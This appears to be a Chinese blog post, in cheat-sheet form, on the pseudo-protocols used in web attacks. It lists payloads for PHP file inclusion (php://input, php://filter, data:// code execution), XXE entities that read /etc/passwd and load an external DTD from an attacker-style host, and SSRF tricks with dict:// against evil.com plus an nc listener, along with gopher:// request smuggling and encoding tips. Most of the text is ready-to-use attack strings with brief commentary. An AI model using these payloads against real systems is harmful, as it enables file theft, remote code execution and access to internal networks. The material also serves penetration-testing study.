伪协议总结

php

file://:访问本地文件系统。

http://localhost/test.php?file=file://C:\Windows\System32\drivers\etc\hosts

php://访问各个输入输出流

php://input:将POST输入流当做PHP代码执行。

http://localhost/test.php?file=php://input    
POST:<?php phpinfo();

php://filter: 一种元封装器, 设计用于数据流打开时的筛选过滤应用。

php://filter/read=convert.base64-encode/resource=index.php

zip://

zip://绝对路径\需要解压缩的文件%23子文件名  

phar://

类似zip,与zip协议不同的是zip协议为绝对路径,而phar协议为相对路径。

data://

data://text/plain,<?php phpinfo();?>

后面的值会被当做php代码执行。

也可如此

data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

XXE 

主要是在引用外部实体的时候用到伪协议

expext://

执行命令

 

 http

可以直接访问网络中主机的资源

<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY % d SYSTEM "http://xxx.xxx.xxx.xxx/xxe.dtd">
%d;
]>
<note>
    <name>&b;</name>
</note> 

file 

xxe同样也可以使用file协议访问主机上的文件

<?xml version="1.0"?>
<!DOCTYPE note [
    <!ENTITY content SYSTEM "file:///etc/passwd">
]>
<note>
    <name>&content;</name>
</note> 

php:// 

XML文档中也可以利用php伪协议读取任意文件

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/issue">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx.xxx/xxe.dtd"
%dtd;
%file;
]>

SSRF

file:// 

类似上面两种

dict://

能够引用允许通过DICT协议使用的定义或单词列表:

http://example.com/ssrf.php?dict://evil.com:1337/ 
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*] 
accepted (family 2, sport 31126)CLIENT libcurl 7.40.0

 tftp://

TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至程主机。

gopher://

Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

gopher协议的格式:gopher://IP:port/_TCP/IP数据流 

margine:~ margin$ curl gopher://192.168.0.119:2333/_abcd

需要在使用gopher协议时在url后加入一个字符(该字符可随意写) 

在gopher协议中发送HTTP的数据,需要以下三步:

1、构造HTTP数据包
2、URL编码、替换回车换行为%0d%0a
3、发送gopher协议 

 在转换为URL编码时候有这么几个坑

1、问号(?)需要转码为URL编码,也就是%3f
2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

 Gopher发送请求HTTP GET请求:

GET /ssrf/base/get.php?name=Margin HTTP/1.1
Host: 192.168.0.109
curl gopher://192.168.0.109:80/_GET%20/ssrf/base/get.php%3fname=Margin%20HTTP/1.1%0d%0AHost:%20192.168.0.109%0d%0A

 
https://zhuanlan.zhihu.com/p/112055947

https://blog.csdn.net/weixin_30883271/article/details/98323279?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2~default~CTRLIST~Rate-1.pc_relevant_default&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2~default~CTRLIST~Rate-1.pc_relevant_default&utm_relevant_index=2

https://security.tencent.com/index.php/blog/msg/69

  • 1
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值